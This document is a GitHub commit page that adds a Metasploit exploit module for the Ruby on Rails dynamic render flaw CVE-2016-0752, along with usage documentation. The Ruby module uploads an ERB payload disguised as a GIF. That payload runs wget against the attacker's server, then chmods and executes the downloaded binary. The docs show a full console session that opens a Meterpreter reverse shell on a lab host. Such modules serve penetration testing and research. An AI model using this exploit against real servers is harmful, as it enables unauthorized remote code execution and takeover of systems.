Skip to content

Commit 9e97feb

Browse files
committed
Land rapid7#7429, Ruby on Rails Dynamic Render File Upload Remote Code Exec
2 parents 2014b2d + bd646de commit 9e97feb

File tree

2 files changed

+279
-0
lines changed

2 files changed

+279
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Intro
2+
3+
Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.
4+
5+
http://rubyonrails.org/
6+
7+
> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).
8+
9+
## Setup
10+
11+
**Download and setup the sample vuln application:**
12+
13+
- [ ] `sudo apt-get install -y curl git`
14+
- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
15+
- [ ] `source ~/.rvm/scripts/rvm`
16+
- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
17+
- [ ] `gem install rails -v 4.0.8`
18+
- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
19+
- [ ] `cd pwn`
20+
- [ ] `bundle install`
21+
- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`
22+
23+
Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
24+
25+
- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`
26+
27+
## Usage
28+
29+
### Typical Usage
30+
31+
Just set ```RHOST``` and fire off the module! It's pretty much painless.
32+
```set VERBOSE true``` if you want to see details.
33+
34+
```
35+
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
36+
use exploit/multi/http/rails_dynamic_render_code_exec
37+
set RHOST 172.16.175.251
38+
set payload linux/x86/meterpreter/reverse_tcp
39+
set LHOST 172.16.175.1
40+
check
41+
exploit
42+
43+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
44+
[*] Processing scripts/rails.rc for ERB directives.
45+
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
46+
resource (scripts/rails.rc)> set RHOST 172.16.175.251
47+
RHOST => 172.16.175.251
48+
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
49+
payload => linux/x86/meterpreter/reverse_tcp
50+
resource (scripts/rails.rc)> set LHOST 172.16.175.1
51+
LHOST => 172.16.175.1
52+
resource (scripts/rails.rc)> check
53+
[+] 172.16.175.251:3000 The target is vulnerable.
54+
resource (scripts/rails.rc)> exploit
55+
[*] Exploit running as background job.
56+
[*] Started reverse TCP handler on 172.16.175.1:4444
57+
58+
[*] Sending initial request to detect exploitability
59+
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
60+
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
61+
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
62+
[*] uploading image...
63+
[+] injected payload
64+
[*] 172.16.175.251:3000 - Sending the payload to the server...
65+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
66+
[*] Sending stage (1495599 bytes) to 172.16.175.251
67+
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
68+
[+] Deleted /tmp/NhhGKCCIgwF
69+
70+
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
71+
[*] Starting interaction with 1...
72+
73+
meterpreter > shell
74+
Process 50809 created.
75+
Channel 1 created.
76+
$ id
77+
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
78+
$
79+
```
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = ExcellentRanking
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Exploit::Remote::HttpServer
8+
include Msf::Exploit::EXE
9+
include Msf::Exploit::FileDropper
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
14+
'Description' => %q{
15+
This module exploits a remote code execution vulnerability in the explicit render
16+
method when leveraging user parameters.
17+
This module has been tested across multiple versions of Ruby on Rails.
18+
The technique used by this module requires the specified
19+
endpoint to be using dynamic render paths, such as the following example:
20+
21+
def show
22+
render params[:id]
23+
end
24+
25+
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
26+
can literally be any endpoint. This module doesnt use the log inclusion method of
27+
exploitation due to it not being universal enough. Instead, a new code injection
28+
technique was found and used whereby an attacker can upload temporary image files
29+
against any POST endpoint and use them for the inclusion attack. Finally, you only
30+
get one shot at this if you are testing with the builtin rails server, use caution.
31+
},
32+
'Author' =>
33+
[
34+
'mr_me <[email protected]>', # necromanced old bug & discovered new vector rce vector
35+
'John Poulin (forced-request)' # original render bug finder
36+
],
37+
'References' =>
38+
[
39+
[ 'CVE', '2016-0752'],
40+
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch
41+
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
42+
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
43+
],
44+
'License' => MSF_LICENSE,
45+
'Platform' => ['linux', 'bsd'],
46+
'Arch' => ARCH_X86,
47+
'Payload' =>
48+
{
49+
'DisableNops' => true,
50+
},
51+
'Privileged' => false,
52+
'Targets' =>
53+
[
54+
[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
55+
],
56+
'DefaultTarget' => 0,
57+
'DisclosureDate' => 'Oct 16 2016'))
58+
register_options(
59+
[
60+
Opt::RPORT(3000),
61+
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
62+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
63+
], self.class)
64+
end
65+
66+
def check
67+
68+
# this is the check for the dev environment
69+
res = send_request_cgi({
70+
'uri' => normalize_uri(datastore['URIPATH'], "%2f"),
71+
'method' => 'GET',
72+
}, 60)
73+
74+
# if the page controller is dynamically rendering, its for sure vuln
75+
if res and res.body =~ /render params/
76+
return CheckCode::Vulnerable
77+
end
78+
79+
# this is the check for the prod environment
80+
res = send_request_cgi({
81+
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
82+
'method' => 'GET',
83+
}, 60)
84+
85+
# if we can read files, its likley we can execute code
86+
if res and res.body =~ /ruby/
87+
return CheckCode::Appears
88+
end
89+
return CheckCode::Safe
90+
end
91+
92+
def on_request_uri(cli, request)
93+
if (not @pl)
94+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
95+
return
96+
end
97+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
98+
@elf_sent = true
99+
send_response(cli, @pl)
100+
end
101+
102+
def send_payload
103+
@bd = rand_text_alpha(8+rand(8))
104+
fn = rand_text_alpha(8+rand(8))
105+
un = rand_text_alpha(8+rand(8))
106+
pn = rand_text_alpha(8+rand(8))
107+
register_file_for_cleanup("/tmp/#{@bd}")
108+
cmd = "wget #{@service_url} -O /tmp/#{@bd};"
109+
cmd << "chmod 755 /tmp/#{@bd};"
110+
cmd << "/tmp/#{@bd}"
111+
pay = "<%=`#{cmd}`%>"
112+
print_status("uploading image...")
113+
data = Rex::MIME::Message.new
114+
data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
115+
res = send_request_cgi({
116+
'method' => 'POST',
117+
'cookie' => @cookie,
118+
'uri' => normalize_uri(datastore['URIPATH'], pn),
119+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
120+
'data' => data.to_s
121+
})
122+
if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)&gt;/
123+
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)&gt;/
124+
return true
125+
else
126+
127+
# this is where we pull the log file
128+
if leak_log
129+
return true
130+
end
131+
end
132+
return false
133+
end
134+
135+
def leak_log
136+
137+
# path to the log /proc/self/fd/7
138+
# this bypasses the extension check
139+
res = send_request_cgi({
140+
'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
141+
'method' => 'GET',
142+
}, 60)
143+
144+
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
145+
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
146+
return true
147+
end
148+
return false
149+
end
150+
151+
def start_http_server
152+
@pl = generate_payload_exe
153+
@elf_sent = false
154+
downfile = rand_text_alpha(8+rand(8))
155+
resource_uri = '/' + downfile
156+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
157+
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
158+
else
159+
srv_host = datastore['SRVHOST']
160+
end
161+
162+
# do not use SSL for the attacking web server
163+
if datastore['SSL']
164+
ssl_restore = true
165+
datastore['SSL'] = false
166+
end
167+
168+
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
169+
service_url_payload = srv_host + resource_uri
170+
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
171+
start_service({'Uri' => {
172+
'Proc' => Proc.new { |cli, req|
173+
on_request_uri(cli, req)
174+
},
175+
'Path' => resource_uri
176+
}})
177+
datastore['SSL'] = true if ssl_restore
178+
connect
179+
end
180+
181+
def render_tmpfile
182+
@path.gsub!(/\//, '%2f')
183+
res = send_request_cgi({
184+
'uri' => normalize_uri(datastore['URIPATH'], @path),
185+
'method' => 'GET',
186+
}, 1)
187+
end
188+
189+
def exploit
190+
print_status("Sending initial request to detect exploitability")
191+
start_http_server
192+
if send_payload
193+
print_good("injected payload")
194+
render_tmpfile
195+
196+
# we need to delay, for the stager
197+
select(nil, nil, nil, 5)
198+
end
199+
end
200+
end

0 commit comments

Comments
 (0)